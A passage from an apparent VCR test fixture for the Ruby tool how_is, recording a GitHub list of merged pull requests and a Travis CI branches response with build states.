fetcher","url":"https://github.com/how-is/how_is/pull/192","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOC0wN1QwMDo0ODo0My0wNDowMM4IAjSC","node":{"number":193,"createdAt":"2017-08-07T04:48:43Z","closedAt":"2017-08-07T04:51:27Z","updatedAt":"2017-08-07T04:51:42Z","state":"MERGED","title":"update tessellator-fetcher to ~>5.0.2","url":"https://github.com/how-is/how_is/pull/193","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOC0xMFQxNzowNToyNC0wNDowMM4ID1TK","node":{"number":196,"createdAt":"2017-08-10T21:05:24Z","closedAt":"2017-08-11T03:28:36Z","updatedAt":"2017-08-11T04:31:02Z","state":"MERGED","title":"Contributions: default_branch fetching","url":"https://github.com/how-is/how_is/pull/196","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOC0xMVQwMDoxNzo1NC0wNDowMM4ID_pG","node":{"number":197,"createdAt":"2017-08-11T04:17:54Z","closedAt":"2017-08-11T04:41:33Z","updatedAt":"2017-08-11T04:48:11Z","state":"MERGED","title":"update VCR fixture","url":"https://github.com/how-is/how_is/pull/197","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOC0xMlQxNjowMjoyOS0wNDowMM4IEyBo","node":{"number":199,"createdAt":"2017-08-12T20:02:29Z","closedAt":"2017-08-14T15:14:50Z","updatedAt":"2017-08-14T15:16:02Z","state":"MERGED","title":"Refactor: introduce pretty_date(date)","url":"https://github.com/how-is/how_is/pull/199","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOS0wNVQxNDoxODoxOS0wNDowMM4ITuTr","node":{"number":201,"createdAt":"2017-09-05T18:18:19Z","closedAt":"2017-09-06T19:19:18Z","updatedAt":"2017-09-06T22:33:40Z","state":"MERGED","title":"[docs] YARD annotation for example","url":"https://github.com/how-is/how_is/pull/201","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOS0xM1QyMToyMTo1NS0wNDowMM4IZu9m","node":{"number":203,"createdAt":"2017-09-14T01:21:55Z","closedAt":"2017-09-14T01:24:08Z","updatedAt":"2017-09-14T01:26:54Z","state":"MERGED","title":"quick refactor of spec/capture_warnings.","url":"https://github.com/how-is/how_is/pull/203","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOS0xM1QyMjowMjozOS0wNDowMM4IZv3B","node":{"number":204,"createdAt":"2017-09-14T02:02:39Z","closedAt":"2017-09-14T02:09:04Z","updatedAt":"2017-09-14T02:16:37Z","state":"MERGED","title":"add .codeclimate.yml","url":"https://github.com/how-is/how_is/pull/204","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOS0xNVQxOToxMDozNi0wNDowMM4Ibd3Y","node":{"number":205,"createdAt":"2017-09-15T23:10:36Z","closedAt":"2017-09-15T23:26:00Z","updatedAt":"2017-09-16T00:54:33Z","state":"MERGED","title":"Move away from slop","url":"https://github.com/how-is/how_is/pull/205","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOS0xNVQyMDowODoyNS0wNDowMM4IbfCD","node":{"number":206,"createdAt":"2017-09-16T00:08:25Z","closedAt":"2017-09-16T00:13:11Z","updatedAt":"2017-09-16T00:14:08Z","state":"MERGED","title":"bump version to 19.0.0; update changelog","url":"https://github.com/how-is/how_is/pull/206","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOS0xNlQyMzo0MTozMi0wNDowMM4Ibq9j","node":{"number":207,"createdAt":"2017-09-17T03:41:32Z","closedAt":"2017-09-17T03:49:58Z","updatedAt":"2017-09-17T03:55:20Z","state":"MERGED","title":"add icons to README for Waffle.io, Travis, Code Climate, RubyGems, Gemnasium.","url":"https://github.com/how-is/how_is/pull/207","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOS0xN1QwMDoyNTozMC0wNDowMM4IbrKQ","node":{"number":208,"createdAt":"2017-09-17T04:25:30Z","closedAt":"2017-09-17T04:27:50Z","updatedAt":"2017-09-17T04:31:29Z","state":"MERGED","title":"use stable version of pry since there''s no longer a conflict with slop","url":"https://github.com/how-is/how_is/pull/208","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOS0xN1QwMzo1MjozMy0wNDowMM4IbsOg","node":{"number":209,"createdAt":"2017-09-17T07:52:33Z","closedAt":"2017-09-28T12:55:20Z","updatedAt":"2017-09-28T13:47:28Z","state":"MERGED","title":"Refactor","url":"https://github.com/how-is/how_is/pull/209","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOS0zMFQwMTowMToxMi0wNDowMM4IlXon","node":{"number":210,"createdAt":"2017-09-30T05:01:12Z","closedAt":"2017-10-01T02:52:55Z","updatedAt":"2017-10-01T02:53:46Z","state":"MERGED","title":"Add tests for Contributions class","url":"https://github.com/how-is/how_is/pull/210","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0xMC0xM1QxNjo0Nzo1MC0wNDowMM4IvDHf","node":{"number":211,"createdAt":"2017-10-13T20:47:50Z","closedAt":"2017-10-13T22:55:25Z","updatedAt":"2017-10-13T22:55:25Z","state":"MERGED","title":"Gem: github_api 0.18.1","url":"https://github.com/how-is/how_is/pull/211","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0xMC0xNVQwMDozOToxMS0wNDowMM4IvXVT","node":{"number":212,"createdAt":"2017-10-15T04:39:11Z","closedAt":"2017-11-17T14:08:27Z","updatedAt":"2017-12-08T23:34:32Z","state":"MERGED","title":"Switch from Pulse to Contributions","url":"https://github.com/how-is/how_is/pull/212","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0xMS0xN1QwOToxMzo1MS0wNTowMM4JI0dH","node":{"number":213,"createdAt":"2017-11-17T14:13:51Z","closedAt":"2017-11-17T14:20:03Z","updatedAt":"2017-11-17T14:20:17Z","state":"MERGED","title":"Remove XPulse class.","url":"https://github.com/how-is/how_is/pull/213","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0xMi0wOFQxNzo1Mjo0Mi0wNTowMM4JYPw2","node":{"number":214,"createdAt":"2017-12-08T22:52:42Z","closedAt":"2017-12-08T22:57:34Z","updatedAt":"2017-12-08T23:30:30Z","state":"MERGED","title":"switch from Tessellator::Fetcher to Okay::HTTP.","url":"https://github.com/how-is/how_is/pull/214","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0xMi0wOVQwMDo0NzoyMy0wNTowMM4JYVqJ","node":{"number":215,"createdAt":"2017-12-09T05:47:23Z","closedAt":"2017-12-22T01:38:56Z","updatedAt":"2017-12-22T01:39:04Z","state":"MERGED","title":"Partial rewrite","url":"https://github.com/how-is/how_is/pull/215","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0xMi0yMVQyMDo0MDozMi0wNTowMM4JhiCi","node":{"number":216,"createdAt":"2017-12-22T01:40:32Z","closedAt":"2017-12-22T01:46:22Z","updatedAt":"2017-12-22T01:47:07Z","state":"MERGED","title":"version bump to v20.0.0. :3","url":"https://github.com/how-is/how_is/pull/216","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0xMi0yMlQwOTo0MTo1NS0wNTowMM4Jh5HP","node":{"number":217,"createdAt":"2017-12-22T14:41:55Z","closedAt":"2018-01-17T05:05:11Z","updatedAt":"2018-01-17T05:30:40Z","state":"MERGED","title":"Idempotent reports","url":"https://github.com/how-is/how_is/pull/217","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wMS0xOVQxNDo1OTo1NS0wNTowMM4Jx0pO","node":{"number":218,"createdAt":"2018-01-19T19:59:55Z","closedAt":"2018-01-19T20:44:21Z","updatedAt":"2018-01-19T20:44:24Z","state":"MERGED","title":"Release v21.0.0","url":"https://github.com/how-is/how_is/pull/218","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wMS0xOVQxNjoxMzo1MC0wNTowMM4Jx4EJ","node":{"number":219,"createdAt":"2018-01-19T21:13:50Z","closedAt":"2018-01-19T21:18:46Z","updatedAt":"2018-01-19T21:20:36Z","state":"MERGED","title":"Update readme","url":"https://github.com/how-is/how_is/pull/219","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wMS0xOVQxNjo0NTo1NC0wNTowMM4Jx5gN","node":{"number":220,"createdAt":"2018-01-19T21:45:54Z","closedAt":"2018-01-19T21:55:22Z","updatedAt":"2018-01-19T21:59:54Z","state":"MERGED","title":"Make CLI parser store the date when passed --config.","url":"https://github.com/how-is/how_is/pull/220","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wMS0xOVQxODo0MTowMi0wNTowMM4Jx9zK","node":{"number":221,"createdAt":"2018-01-19T23:41:02Z","closedAt":"2018-01-19T23:51:29Z","updatedAt":"2018-01-19T23:51:38Z","state":"MERGED","title":"Make config-based reports work again.","url":"https://github.com/how-is/how_is/pull/221","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wMy0xN1QwMDoxNjoyNS0wNDowMM4KeLMo","node":{"number":223,"createdAt":"2018-03-17T04:16:25Z","closedAt":"2018-03-17T19:37:08Z","updatedAt":"2018-03-17T19:37:12Z","state":"MERGED","title":"update .travis.yml.","url":"https://github.com/how-is/how_is/pull/223","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wMy0xN1QxNjowNzowNC0wNDowMM4KeUHI","node":{"number":224,"createdAt":"2018-03-17T20:07:04Z","closedAt":"2018-03-17T21:01:05Z","updatedAt":"2018-03-17T21:01:16Z","state":"MERGED","title":"Improve error output; update README.","url":"https://github.com/how-is/how_is/pull/224","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wMy0xN1QxNzowOTo1My0wNDowMM4KeUwB","node":{"number":225,"createdAt":"2018-03-17T21:09:53Z","closedAt":"2018-03-17T21:16:22Z","updatedAt":"2018-03-17T21:23:53Z","state":"MERGED","title":"bump version to v24.0.0; add json dependency; add future_changelog Rake task","url":"https://github.com/how-is/how_is/pull/225","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wMy0zMFQyMDoxMzoxNy0wNDowMM4KphJv","node":{"number":226,"createdAt":"2018-03-31T00:13:17Z","closedAt":"2018-06-08T23:49:17Z","updatedAt":"2018-06-09T04:36:19Z","state":"MERGED","title":"[WIP] Collect CI information.","url":"https://github.com/how-is/how_is/pull/226","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wNC0yNVQxNzowNToyOC0wNDowMM4K-hvA","node":{"number":228,"createdAt":"2018-04-25T21:05:28Z","closedAt":"2018-04-27T19:18:05Z","updatedAt":"2018-04-30T07:44:51Z","state":"MERGED","title":"CLI Refactor","url":"https://github.com/how-is/how_is/pull/228","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wNC0yN1QxNToyMzo0MC0wNDowMM4LAmcj","node":{"number":229,"createdAt":"2018-04-27T19:23:40Z","closedAt":"2018-04-27T19:42:00Z","updatedAt":"2018-04-27T19:44:40Z","state":"MERGED","title":"Miscellaneous cleanup.","url":"https://github.com/how-is/how_is/pull/229","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wNi0wOVQyMjozMTo0Mi0wNDowMM4LjTyC","node":{"number":231,"createdAt":"2018-06-10T02:31:42Z","closedAt":"2018-07-05T18:26:02Z","updatedAt":"2018-07-05T18:27:14Z","state":"MERGED","title":"Refactor","url":"https://github.com/how-is/how_is/pull/231","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wNy0wNVQxNDozMTo0Ni0wNDowMM4L5O9k","node":{"number":232,"createdAt":"2018-07-05T18:31:46Z","closedAt":"2018-07-06T03:48:18Z","updatedAt":"2018-07-06T03:49:00Z","state":"MERGED","title":"Fix Rubocop warnings.","url":"https://github.com/how-is/how_is/pull/232","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wOC0zMVQxMjoyNDowNy0wNDowMM4MqXxX","node":{"number":233,"createdAt":"2018-08-31T16:24:07Z","closedAt":"2018-08-31T17:47:37Z","updatedAt":"2018-08-31T17:49:04Z","state":"MERGED","title":"Refactor 2","url":"https://github.com/how-is/how_is/pull/233","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wOC0zMVQxNDoxNzo0OS0wNDowMM4MqeBv","node":{"number":234,"createdAt":"2018-08-31T18:17:49Z","closedAt":"2018-08-31T22:48:27Z","updatedAt":"2018-08-31T22:48:31Z","state":"MERGED","title":"Refactor cli","url":"https://github.com/how-is/how_is/pull/234","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wOC0zMVQxODo1OTowMS0wNDowMM4Mqqdk","node":{"number":235,"createdAt":"2018-08-31T22:59:01Z","closedAt":"2018-08-31T23:04:07Z","updatedAt":"2018-08-31T23:05:21Z","state":"MERGED","title":"Rubocop-related cleanup","url":"https://github.com/how-is/how_is/pull/235","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wOS0xNVQwNjowOTozNi0wNDowMM4M3EQM","node":{"number":236,"createdAt":"2018-09-15T10:09:36Z","closedAt":"2018-09-15T21:38:17Z","updatedAt":"2018-09-16T15:51:32Z","state":"MERGED","title":"README: Drop Gemnasium badge","url":"https://github.com/how-is/how_is/pull/236","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wOS0xNVQxNzo1NjoxNC0wNDowMM4M3Lcf","node":{"number":237,"createdAt":"2018-09-15T21:56:14Z","closedAt":"2018-09-15T22:21:47Z","updatedAt":"2018-09-15T22:42:15Z","state":"MERGED","title":"Only throw errors for undefined env vars if they''re used.","url":"https://github.com/how-is/how_is/pull/237","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0xMS0xMlQxNjowNDozMi0wNTowMM4NuZvA","node":{"number":238,"createdAt":"2018-11-12T21:04:32Z","closedAt":"2018-11-16T20:36:55Z","updatedAt":"2018-11-17T13:26:20Z","state":"MERGED","title":"Enable the executable flag (chmod +x) for bin/setup","url":"https://github.com/how-is/how_is/pull/238","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0xMS0xMlQxNjowNjowOC0wNTowMM4NuZ1J","node":{"number":239,"createdAt":"2018-11-12T21:06:08Z","closedAt":"2018-11-16T20:17:20Z","updatedAt":"2018-11-17T13:26:28Z","state":"MERGED","title":"README: fix typo","url":"https://github.com/how-is/how_is/pull/239","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0xMS0yMlQxNToxMzowMS0wNTowMM4N5FIw","node":{"number":242,"createdAt":"2018-11-22T20:13:01Z","closedAt":"2018-11-22T20:21:51Z","updatedAt":"2018-11-22T20:21:56Z","state":"MERGED","title":"Skip tests that require an access token if running as a PR build.","url":"https://github.com/how-is/how_is/pull/242","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0xMS0yMlQxNzozNzoyMi0wNTowMM4N5IlN","node":{"number":246,"createdAt":"2018-11-22T22:37:22Z","closedAt":"2018-11-22T22:41:58Z","updatedAt":"2018-11-22T22:53:53Z","state":"MERGED","title":"Document PR and issue management processes.","url":"https://github.com/how-is/how_is/pull/246","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0xMS0yMlQxOTowMDo1NC0wNTowMM4N5J81","node":{"number":247,"createdAt":"2018-11-23T00:00:54Z","closedAt":"2018-11-23T00:15:21Z","updatedAt":"2018-11-23T00:15:37Z","state":"MERGED","title":"Refactor GitHub authentication","url":"https://github.com/how-is/how_is/pull/247","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wMS0wNFQxNjozMzo1Ni0wNTowMM4OcmZ6","node":{"number":249,"createdAt":"2019-01-04T21:33:56Z","closedAt":"2019-01-04T21:46:38Z","updatedAt":"2019-01-04T21:47:15Z","state":"MERGED","title":"Misc cleanup","url":"https://github.com/how-is/how_is/pull/249","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wMS0wNFQxNzozMjo0Mi0wNTowMM4OcpQH","node":{"number":250,"createdAt":"2019-01-04T22:32:42Z","closedAt":"2019-01-04T22:45:31Z","updatedAt":"2019-01-04T22:45:44Z","state":"MERGED","title":"update supported Ruby versions","url":"https://github.com/how-is/how_is/pull/250","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wMS0wNFQxNzo0ODozNS0wNTowMM4Ocp5I","node":{"number":251,"createdAt":"2019-01-04T22:48:35Z","closedAt":"2019-01-05T00:23:22Z","updatedAt":"2019-01-05T20:22:21Z","state":"MERGED","title":"update build-debug.rb script","url":"https://github.com/how-is/how_is/pull/251","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wMS0wNVQxNzo0NTozMy0wNTowMM4Oc7eK","node":{"number":252,"createdAt":"2019-01-05T22:45:33Z","closedAt":"2019-01-05T23:17:03Z","updatedAt":"2019-01-05T23:17:08Z","state":"MERGED","title":"HowIs::CLI refactor","url":"https://github.com/how-is/how_is/pull/252","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wMS0xN1QxODozNTo1OC0wNTowMM4OpM_Z","node":{"number":254,"createdAt":"2019-01-17T23:35:58Z","closedAt":"2019-03-15T20:13:37Z","updatedAt":"2019-03-16T19:53:03Z","state":"MERGED","title":"Refactor; support config files.","url":"https://github.com/how-is/how_is/pull/254","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wMy0xNVQxODoxOTo0NS0wNDowMM4PmXRe","node":{"number":259,"createdAt":"2019-03-15T22:19:45Z","closedAt":"2019-03-16T19:55:06Z","updatedAt":"2019-04-26T18:43:01Z","state":"MERGED","title":"Clean up reports","url":"https://github.com/how-is/how_is/pull/259","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wNC0wM1QxNDozMzozMy0wNDowMM4P7JYt","node":{"number":261,"createdAt":"2019-04-03T18:33:33Z","closedAt":"2019-04-03T20:10:51Z","updatedAt":"2019-04-04T04:34:42Z","state":"MERGED","title":"README: Add screenshot","url":"https://github.com/how-is/how_is/pull/261","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wNC0wM1QxNjoxNjoxNC0wNDowMM4P7RTK","node":{"number":263,"createdAt":"2019-04-03T20:16:14Z","closedAt":"2019-04-12T18:45:03Z","updatedAt":"2019-04-12T18:45:03Z","state":"MERGED","title":"Add caching mechanism to speed up duplicate runs","url":"https://github.com/how-is/how_is/pull/263","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wNC0xMlQxNTowNjoyNi0wNDowMM4QGbjA","node":{"number":265,"createdAt":"2019-04-12T19:06:26Z","closedAt":"2019-04-12T19:12:23Z","updatedAt":"2019-04-12T19:13:49Z","state":"MERGED","title":"yay documentation!","url":"https://github.com/how-is/how_is/pull/265","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wNC0xMlQxNTozMTozMC0wNDowMM4QGdL4","node":{"number":266,"createdAt":"2019-04-12T19:31:30Z","closedAt":"2019-04-12T19:35:36Z","updatedAt":"2019-04-12T19:49:44Z","state":"MERGED","title":"Remove dead code.","url":"https://github.com/how-is/how_is/pull/266","labels":{"nodes":[]}}}]}}}}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:52 GMT - request: method: get uri: https://api.travis-ci.org/repo/how-is%2Fhow_is/branches?sort_by=default_branch body: encoding: US-ASCII string: '' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/json User-Agent: - how_is/24.0.0 (https://github.com/how-is/how_is/) Host: - api.travis-ci.org Travis-Api-Version: - '3' response: status: code: 200 message: OK headers: Connection: - keep-alive Server: - nginx Date: - Fri, 26 Apr 2019 20:32:53 GMT Content-Type: - application/json Transfer-Encoding: - chunked Strict-Transport-Security: - max-age=31536000 X-Endpoint: - Travis::API::V3::Services::Branches::Find X-Oauth-Scopes: - '' Vary: - Accept-Encoding X-Rack-Cache: - miss X-Request-Id: - 0b2dda86-fd59-4ad5-8670-d98e15d2684f Access-Control-Allow-Origin: - "*" Access-Control-Allow-Credentials: - 'true' Access-Control-Expose-Headers: - Content-Type, Cache-Control, Expires, Etag, Last-Modified, X-Request-ID Via: - 1.1 vegur body: encoding: ASCII-8BIT string: |- { "@type": "branches", "@href": "/repo/how-is%2Fhow_is/branches?sort_by=default_branch", "@representation": "standard", "@pagination": { "limit": 25, "offset": 0, "count": 152, "is_first": true, "is_last": false, "next": { "@href": "/repo/how-is%2Fhow_is/branches?limit=25&offset=25&sort_by=default_branch", "offset": 25, "limit": 25 }, "prev": null, "first": { "@href": "/repo/how-is%2Fhow_is/branches?sort_by=default_branch", "offset": 0, "limit": 25 }, "last": { "@href": "/repo/how-is%2Fhow_is/branches?limit=25&offset=150&sort_by=default_branch", "offset": 150, "limit": 25 } }, "branches": [ { "@type": "branch", "@href": "/repo/8014235/branch/master", "@representation": "standard", "name": "master", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": true, "exists_on_github": true, "last_build": { "@type": "build", "@href": "/build/519409777", "@representation": "minimal", "id": 519409777, "number": "1174", "state": "passed", "duration": 267, "event_type": "push", "previous_state": "passed", "pull_request_title": null, "pull_request_number": null, "started_at": "2019-04-12T19:36:06Z", "finished_at": "2019-04-12T19:37:27Z", "private": false } }, { "@type": "branch", "@href": "/repo/8014235/branch/staging", "@representation": "standard", "name": "staging", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": true, "last_build": { "@type": "build", "@href": "/build/519409195", "@representation": "minimal", "id": 519409195, "number": "1173", "state": "passed", "duration": 306, "event_type": "push", "previous_state": "passed", "pull_request_title": null, "pull_request_number": null, "started_at": "2019-04-12T19:33:50Z", "finished_at": "2019-04-12T19:35:32Z", "private": false } }, { "@type": "branch", "@href": "/repo/8014235/branch/ci-fixes", "@representation": "standard", "name": "ci-fixes", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/8014235/branch/cleanup", "@representation": "standard", "name": "cleanup", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": { "@type": "build", "@href": "/build/200960588", "@representation": "minimal", "id": 200960588, "number": "349", "state": "passed", "duration": 48, "event_type": "push", "previous_state": null, "pull_request_title": null, "pull_request_number": null, "started_at": "2017-02-12T21:42:15Z", "finished_at": "2017-02-12T21:43:03Z", "private": false } }, { "@type": "branch", "@href": "/repo/8014235/branch/clean-up-reports", "@representation": "standard", "name": "clean-up-reports", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/8014235/branch/staging.tmp", "@representation": "standard", "name": "staging.tmp", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": { "@type": "build", "@href": "/build/354624357", "@representation": "minimal", "id": 354624357, "number": "940", "state": "failed", "duration": 76, "event_type": "push", "previous_state": "failed", "pull_request_title": null, "pull_request_number": null, "started_at": "2018-03-17T04:43:59Z", "finished_at": "2018-03-17T04:44:21Z", "private": false } }, { "@type": "branch", "@href": "/repo/8014235/branch/refactor", "@representation": "standard", "name": "refactor", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": { "@type": "build", "@href": "/build/276453547", "@representation": "minimal", "id": 276453547, "number": "660", "state": "passed", "duration": 69, "event_type": "push", "previous_state": "passed", "pull_request_title": null, "pull_request_number": null, "started_at": "2017-09-17T08:02:00Z", "finished_at": "2017-09-17T08:02:41Z", "private": false } }, { "@type": "branch", "@href": "/repo/8014235/branch/cli-refactor", "@representation": "standard", "name": "cli-refactor", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/8014235/branch/update-debug-script", "@representation": "standard", "name": "update-debug-script", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/8014235/branch/update-supported-ruby-versions", "@representation": "standard", "name": "update-supported-ruby-versions", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/8014235/branch/misc-cleanup", "@representation": "standard", "name": "misc-cleanup", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/8014235/branch/refactor-gh-auth", "@representation": "standard", "name": "refactor-gh-auth", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/8014235/branch/document-pr-process", "@representation": "standard", "name": "document-pr-process", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/8014235/branch/fix-travis-ci", "@representation": "standard", "name": "fix-travis-ci", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/8014235/branch/dead-code", "@representation": "standard", "name": "dead-code", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/8014235/branch/trying.tmp", "@representation": "standard", "name": "trying.tmp", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/8014235/branch/trying", "@representation": "standard", "name": "trying", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": true, "last_build": { "@type": "build", "@href": "/build/429085590", "@representation": "minimal", "id": 429085590, "number": "1078", "state": "passed", "duration": 188, "event_type": "push", "previous_state": null, "pull_request_title": null, "pull_request_number": null, "started_at": "2018-09-15T21:34:31Z", "finished_at": "2018-09-15T21:35:46Z", "private": false } }, { "@type": "branch", "@href": "/repo/8014235/branch/rubocup-cleanup", "@representation": "standard", "name": "rubocup-cleanup", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/8014235/branch/refactor-cli", "@representation": "standard", "name": "refactor-cli", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/8014235/branch/fix-rubocop-warnings", "@representation": "standard", "name": "fix-rubocop-warnings", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/8014235/branch/ci-builds", "@representation": "standard", "name": "ci-builds", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/8014235/branch/refactor2", 